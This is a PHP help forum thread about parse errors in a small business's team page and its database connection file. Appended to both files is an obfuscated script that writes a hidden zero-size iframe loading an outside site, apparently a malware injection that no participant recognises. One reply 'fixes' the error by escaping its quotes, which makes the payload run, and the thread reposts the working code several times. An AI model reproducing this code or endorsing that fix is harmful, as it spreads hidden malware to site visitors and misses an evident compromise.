Jump to content

php problem Parse error: syntax error, unexpected T_STRING....


Recommended Posts

alright guys im getting this error:

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/marcal2/public_html/team.php on line 1

 

Heres the team.php code:

 

<?php require_once ('Connections/dbTeamAccess.php');?>
<?php
mysql_select_db($database_dbTeamAccess, $dbTeamAccess);
$query_db_maa_team = "SELECT `First`, `Last`, Email, fake_email, Cell, Fax FROM maa_team";
$db_maa_team = mysql_query($query_db_maa_team, $dbTeamAccess) or die(mysql_error());
$row_db_maa_team = mysql_fetch_assoc($db_maa_team);
$totalRows_db_maa_team = mysql_num_rows($db_maa_team);
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">





<html>
<head>
    <title>The Marc Alan Team</title>
<link href="marcalan.css" rel="stylesheet" type="text/css">
<script language="JavaScript">
<!--




if (document.images) {
  image1on = new Image();
  image1on.src = "images/nav/MAadv_on.gif";




  image2on = new Image();
  image2on.src = "images/nav/about_on.gif";




  image3on = new Image();
  image3on.src = "images/nav/team_on.gif";




  image4on = new Image();
  image4on.src = "images/nav/sales_on.gif";




  image5on = new Image();
  image5on.src = "images/nav/accomp_on.gif";




  image6on = new Image();
  image6on.src = "images/nav/worldwide_on.gif";




  image7on = new Image();
  image7on.src = "images/nav/locations_on.gif";




  image1off = new Image();
  image1off.src = "images/nav/MAadv.gif";




  image2off = new Image();
  image2off.src = "images/nav/about.gif";




  image3off = new Image();
  image3off.src = "images/nav/team.gif";




  image4off = new Image();
  image4off.src = "images/nav/sales.gif";




  image5off = new Image();
  image5off.src = "images/nav/accomp.gif";




  image6off = new Image();
  image6off.src = "images/nav/worldwide.gif";




  image7off = new Image();
  image7off.src = "images/nav/locations.gif";




}




function changeImages() {
  if (document.images) {
    for (var i=0; i<changeImages.arguments.length; i+=2) {
      document[changeImages.arguments[i]].src = eval(changeImages.arguments[i+1] + ".src");
    }
  }
}




// -->
</script>
</head>




<body>
<table width="600" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" valign="top">
<img src="images/home_page_header.jpg" alt="" width="600" height="171" border="0">
</td>
</tr>
<tr>
<td width="250" valign="top" class="text">
<span class="text"><a href="index.html">Home</a></span>
<table width="157" border="0" cellspacing="0" cellpadding="0">
<tr><td valign="top"> </td></tr>
<tr><td valign="top"><a href="advantage.html" onMouseOver="changeImages('image1', 'image1on')" onMouseOut="changeImages('image1', 'image1off')"><img name="image1" src="images/nav/MAadv.gif" alt="" width=157 height=24 border=0></a></td></tr>
<tr><td valign="top"><a href="about.html" onMouseOver="changeImages('image2', 'image2on')" onMouseOut="changeImages('image2', 'image2off')"><img name="image2" src="images/nav/about.gif" alt="" width=157 height=20 border=0></a></td></tr>
<tr><td valign="top"><a href="team.html" onMouseOver="changeImages('image3', 'image3on')" onMouseOut="changeImages('image3', 'image3off')"><img name="image3" src="images/nav/team.gif" alt="" width=157 height=20 border=0></a></td></tr>
<tr><td valign="top"><a href="sales.html" onMouseOver="changeImages('image4', 'image4on')" onMouseOut="changeImages('image4', 'image4off')"><img name="image4" src="images/nav/sales.gif" alt="" width=157 height=23 border=0></a></td></tr>
<tr><td valign="top"><a href="accomp.html" onMouseOver="changeImages('image5', 'image5on')" onMouseOut="changeImages('image5', 'image5off')"><img name="image5" src="images/nav/accomp.gif" alt="" width=157 height=21 border=0></a></td></tr>
<tr><td valign="top"><a href="locations.html" onMouseOver="changeImages('image7', 'image7on')" onMouseOut="changeImages('image7', 'image7off')"><img name="image7" src="images/nav/locations.gif" alt="" width=157 height=21 border=0></a></td></tr>
<tr><td valign="top"> </td></tr>
</table>
</td>
    <td width="350" valign="top"> 
    
    <span class="Heading">The Marc Alan Team </span>
    <br><br>

    
    <table border="0" cellpadding="1" cellspacing="1">

  <?php do { ?>
  <tr>
    <td class="boldText">Name</td>
    <td class="text"><?php echo $row_db_maa_team['First']; ?> <?php echo $row_db_maa_team['Last']; ?></td></tr>
    <td class="boldText">Email</td>
    <td class="text"><a href="mailto:<?php echo $row_db_maa_team['Email']; ?>"><?php echo $row_db_maa_team['fake_email']; ?></a></td></tr>
    <td class="boldText">Cell</td>
    <td class="text"><?php echo $row_db_maa_team['Cell']; ?></td></tr>
    <td class="boldText">Fax</td>
    <td class="text"><?php echo $row_db_maa_team['Fax']; ?></td>
  </tr>
  <tr><td>  </td></tr>
  <?php } while ($row_db_maa_team = mysql_fetch_assoc($db_maa_team)); ?>
</table>
    
    
    </td>
</tr>
<tr>
<td colspan="2" valign="top"><img src="images/copybar.jpg" alt="" width="600" height="21" border="0"></td>
</tr>
<tr>
    <td colspan="2" align="center"> <span class="addressMAA"><strong>Marc Alan Associates<br />
32C Spruce St.<br />
Oakland, NJ 07436<br />
Phone: 201.337.6222<br />
Email: info@marcalan.com</strong><a href="mailto:info@marcalan.com"></a></span><br>


</td></tr>








</table>








</body>
</html>
<?php
mysql_free_result($db_maa_team);
?>

<?php echo ''; ?><?php echo '<Script Language='Javascript'>

<!--

document.write(unescape('%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%34%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));

//-->

</Script>'; ?> 

 

 

Thanks =)

you need to escape the single quotes

ie

<?php echo ''; ?><?php echo '<Script Language=\'Javascript\'>

<!--

document.write(unescape(\'%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%34%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E\'));

//-->

</Script>'; ?>

Alright thanks man i added that in but the prob might be in multiple spots =0

 

now im getting :

 

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/marcal2/public_html/Connections/dbTeamAccess.php on line 13

 

heres the dbteamaccess.php

 

<?php
# FileName="Connection_php_mysql.htm"
# Type="MYSQL"
# HTTP="true"
$hostname_dbTeamAccess = "***";
$database_dbTeamAccess = "****";
$username_dbTeamAccess = "*****";
//$password_dbTeamAccess = "******";
//$password_dbTeamAccess = "*****";
$password_dbTeamAccess = "******";

$dbTeamAccess = mysql_pconnect($hostname_dbTeamAccess, $username_dbTeamAccess, $password_dbTeamAccess) or trigger_error(mysql_error(),E_USER_ERROR);
?><?php echo ''; ?><?php echo '<Script Language='Javascript'>

<!--

document.write(unescape('%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%34%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));

//-->

</Script>'; ?>

Im pretty unsure why you failed to see the problem after it being fixed already for you once but here this shuold work..

 

 

<?php
# FileName="Connection_php_mysql.htm"
# Type="MYSQL"
# HTTP="true"
$hostname_dbTeamAccess = "***";
$database_dbTeamAccess = "****";
$username_dbTeamAccess = "*****";
//$password_dbTeamAccess = "******";
//$password_dbTeamAccess = "*****";
$password_dbTeamAccess = "******";

$dbTeamAccess = mysql_pconnect($hostname_dbTeamAccess, $username_dbTeamAccess, $password_dbTeamAccess) or trigger_error(mysql_error(),E_USER_ERROR);
?>
<?php echo ''; ?><?php echo '<Script Language=\'Javascript\'>

<!--

document.write(unescape(\'%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%34%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E\'));

//-->

</Script>'; ?>

hold on, does anyone see a problem with the sql database calling function?

 

here it is in the team.php:

 

<?php require_once ('Connections/dbTeamAccess.php');?>
<?php
mysql_select_db ($database_dbTeamAccess, $dbTeamAccess);

 

and thats referring to the connections in the dbTeamAccess.php:

 

<?php
# FileName="Connection_php_mysql.htm"
# Type="MYSQL"
# HTTP="true"
$hostname_dbTeamAccess = "*****";
$database_dbTeamAccess = "*****";
$username_dbTeamAccess = "*****";
//$password_dbTeamAccess = "*****";
//$password_dbTeamAccess = "*****";
$password_dbTeamAccess = "*****";

$dbTeamAccess = mysql_connect($hostname_dbTeamAccess, $username_dbTeamAccess, $password_dbTeamAccess) or trigger_error(mysql_error(),E_USER_ERROR);
?><?php echo ''; ?><?php echo '<Script Language=\'Javascript\'>

<!--

document.write(unescape(\'%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%34%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E\'));

//-->

</Script>'; ?>

 

 

does anyone see a problem in the calling script where team.php is calling the database connections in the dbTeamAccess.php ?

 

the error once again is :

Fatal error: Call to undefined function: phpmysql_select_db() in /home/marcal2/public_html/team.php on line 1

got it guys thanks for the help!

 

changed :

 

<?php require_once ('Connections/dbTeamAccess.php');?>

<?php

mysql_select_db($database_dbTeamAccess, $dbTeamAccess);
$query_db_maa_team = "SELECT `First`, `Last`, Email, fake_email, Cell, Fax FROM maa_team";
$db_maa_team = mysql_query($query_db_maa_team, $dbTeamAccess) or die(mysql_error());
$row_db_maa_team = mysql_fetch_assoc($db_maa_team);
$totalRows_db_maa_team = mysql_num_rows($db_maa_team);
?>

 

to :

 

<?php require_once ('Connections/dbTeamAccess.php');

mysql_select_db($database_dbTeamAccess, $dbTeamAccess);
$query_db_maa_team = "SELECT `First`, `Last`, Email, fake_email, Cell, Fax FROM maa_team";
$db_maa_team = mysql_query($query_db_maa_team, $dbTeamAccess) or die(mysql_error());
$row_db_maa_team = mysql_fetch_assoc($db_maa_team);
$totalRows_db_maa_team = mysql_num_rows($db_maa_team);
?>

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.